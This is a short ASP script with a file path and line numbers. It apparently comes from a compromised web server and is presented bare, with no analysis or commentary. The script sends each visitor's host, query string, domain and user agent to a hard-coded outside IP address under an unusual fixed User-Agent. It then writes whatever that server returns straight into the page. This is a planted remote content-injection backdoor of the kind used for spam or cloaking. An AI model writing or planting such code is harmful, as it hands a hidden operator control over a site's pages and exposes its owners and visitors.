d:\wwwroot\wuchunhua\adm.asp

001: <%
002: server.Scripttimeout=999999
003: Remote_server="http://103.255.44.139/"
004: host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")
005: Remote_file = Remote_server&"/index.php"&"?host="&host_name&"&url="&Request.servervariables("Query_String")&"&domain="&Request.servervariables("Server_Name")&"&ua="&Request.ServerVariables("HTTP_USER_AGENT")
006: Content_mb=GetHtml(Remote_file)
007: response.write Content_mb
008: %>
009: <%
010: Function GetHtml(url)
011:    Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
012:    ObjXMLHTTP.Open "GET",url,False
013:    ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"
014:    ObjXMLHTTP.send
015:    GetHtml=ObjXMLHTTP.responseBody
016:    Set ObjXMLHTTP=Nothing
017:    set objStream = Server.CreateObject("Adodb.Stream")
018:    objStream.Type = 1
019:    objStream.Mode =3
020:    objStream.Open
021:    objStream.Write GetHtml
022:    objStream.Position = 0
023:    objStream.Type = 2
024:    objStream.Charset = "gb2312"
025:    GetHtml = objStream.ReadText
026:    objStream.Close
027: End Function
028: %>
029:
030:

---